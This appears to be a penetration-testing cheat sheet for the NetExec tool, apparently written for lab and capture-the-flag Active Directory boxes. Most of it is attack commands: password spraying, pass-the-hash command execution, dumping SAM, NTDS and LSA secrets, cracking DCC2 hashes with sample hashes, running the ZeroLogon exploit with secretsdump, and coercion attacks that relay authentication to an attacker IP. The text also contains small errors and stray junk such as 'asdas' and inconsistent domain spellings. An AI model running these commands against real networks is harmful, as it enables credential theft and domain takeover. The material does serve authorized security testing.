
NetExec
NetExec (nxc
) is a network service exploitation tool that helps automate assessing the security of large networks. Check out its amazing and ever-evolving wiki page! You can view its usage in almost any of the AD-related boxes.
SMB
Enumeration
Enumerate domain/local users:
# List domain users
nxc smb <TARGET-IP> -u '<USER>' -p '<PASS>' --users
# List local users
nxc smb <TARGET-IP> -u '<USER>' -p '<PASS>' --users --local-auth
# Create a users list from nxc's output
$ nxc smb <target> -u <user> -p <pass> --users | awk '$1 == "SMB" && $5 != "[+]" && $5 != "-Username-" && $5 != "[*]" && $5 != "Guest" && $5 != "krbtgt" {print $5}' > domain_users
Domain users can be also be enumerated via a RID-bruteforcing attack:
# Brute-force RIDs (default up to 4000)
nxc smb <TARGET-IP> -u '<USER>' -p '<PASS>' --rid-brute <max-rid>
# Create a users list from nxc's output
nxc smb <TARGET-IP> -u '<USER>' -p '<PASS>' --rid-brute <max-rid> > nxc_users
cat nxc_users | awk '{print $6}' | awk -F'\' '{print $2}' > domain_users
Enumerate domain/local hosts:
# List domain hosts
nxc smb <TARGET-IP> -u '<USER>' -p '<PASS>' --computers
# List local hosts
nxc smb <TARGET-IP> -u '<USER>' -p '<PASS>' --computers --local-auth
Password Spray
$ nxc smb <target> -u <user> -p <pass> -d <domain> --continue-on-success
If the results include the domain
, e.g. (seruca.yzx
) → a domain account.
...
SMB 192.168.X.97 445 DC01 [+] secura.yzx\bob:Pass123!
If it has (Pw3d!)
at the end → Local Administrator
account.
...
SMB 192.168.X.95 445 SECURE [+] secura.yzx\bob:Pass123! (Pwn3d!)
RCE
NetExec uses impacket-psexec
to perform the Pass-the-Hash attack:
nxc smb <target> -u <user> --H <hash> -X <command>
Spidering
# Only spider files, enable file content searching
nxc smb <ip> -u <user> -p <pass> --spider <share> --only-files --content
# Spider a specific directory
nxc smb <ip> -u <user> -p <pass> --spider <share> --spider-folder <folder>
Upload/Download
If large files are failing/erroring, add --smb-timeout
with a value than 2.
nxc smb <ip> -u <user> -p <pass> --share <share> --get-file <\\path\\to\\file> <local-file>
Modules
asdas
# SAM
nxc smb <ip> -u <user> -p <pass> --sam
# NTDS
nxc smb <ip> -u <user> -p <pass> --ntds --user <user>
# LSA
nxc smb <ip> -u <user> -p <pass> --lsa
The hash format that starts with $DCC2$
(derived from --lsa
) is stronger than NTLM and cannot be used for a PtH attack. For attempting to crack them, the domain and username needs to be removed; only the value starting with $DCC2$
is required.
# Convert DCC2 hashes
$ cat MS01_10.129.204.133_2022-11-08_093944.cached| cut -d ":" -f 2
$DCC2$10240#julio#c2139497f24725b345aa1e23352481f3
$DCC2$10240#david#a8338587a1c6ee53624372572e39b93f
$DCC2$10240#john#fbdeac2c1d121818f75796cedd0caf0a
# Crack hashes
hashcat -m2100 hashes.txt /usr/share/wordlists/rockyou.txt
Vulnerabilities
The most critical vulnerabilities: from no creds/low privileges straight to DA
!
Check for all at once:
$ nxc smb dc01 -u <user> -p <pass> -M zerologon -M nopac -M printnightmare -M smbghost -M ms17-010
ZeroLogon (CVE-2020-1472) is a vulnerability in Microsoft’s Netlogon protocol that lets an attacker with network access spoof a DC, reset its password to blank, and gain full domain admin rights—without any credentials.
# Check for the vulnerability
nxc smb <dc-ip> -u '' -p '' -M zerologon
There is a PoC available:
# Exploit
./cve-2020-1472-exploit.py <DC-netBIOS-name> <dc-ip>
# Dump the administrator's hash
$ impacket-secretsdump -just-dc -no-pass <DC-netBIOS-name>\$@<dc-ip> -just-dc-user administrator
# Restore password
./restorepassword.py <DC-netBIOS-name>@<DC-IP> -target-ip <DC-IP> -hexpass <plaintext-machine-password>
Checks for coerce vulnerabilities. By default the LISTENER
ip will be set to localhost
, so no traffic will appear on the network.
The coerce_plus
module includes:
PetitPotam: Coerces a DC to authenticate to an attacker via
MS-EFSRPC
, enabling NTLM relay attacks for domain takeover.DFSCoerce: Tricks a DC into authenticating to the attacker via the Distributed File System service, enabling relay attacks.
PrinterBug: Exploits Windows Print Spooler to coerce authentication and enable NTLM relay attacks.
MSEven: Uses the Microsoft Exchange’s Web Services to force authentication, facilitating NTLM relay and privilege escalation.
ShadowCoerce: Coerces a domain host to authenticate by abusing the Shadow Copy service, enabling relay attacks.
# Check for the vulnerabilities
$ nxc smb dc01 -u <user> -p <pass> -M coerce_plus
If one or more are found, set the listener:
# Run all exploit methods at once
nxc smb <ip> -u '' -p '' -M coerce_plus -o LISTENER=<attacker-ip> ALWAYS=true
# Run a specific method
$ nxc smb dc01 -u <user> -p <pass> -M coerce_plus -o M=DFSCoerce L=<attacker-ip> ALWAYS=true
LDAP
nxc ldap dc01.rebound.htb -u <user> -p <pass> -k --gmsa
SSH
# Password authentication
nxc ssh <target> -u <user> -p <pass>
# Key authentication
nxc ssh <target> -u <user> -p '' --key-file root_id_rsa
# Port specification
nxc ssh <target> -u <user> -p <pass> --port 2222
MSSQL
Two methods can be used to authenticate to MSSQL: Windows (default) & local auth:
# 1. Windows auth
# With SMB port open
nxc mssql <target> -u <user> -p <pass>
# With SMB port closed
nxc mssql <target> -u <user> -p <pass> -d <domain>
# 2. Local auth
nxc mssql <target> -u <user> -p <pass> --local-auth
Ports can be also be specified:
nxc mssql <target> -u <user> -p <pass> --port <port>
FTP
nxc ftp <target> -u userfile -p passwordfile --no-bruteforce --continue-on-success
Resources
Last updated
Was this helpful?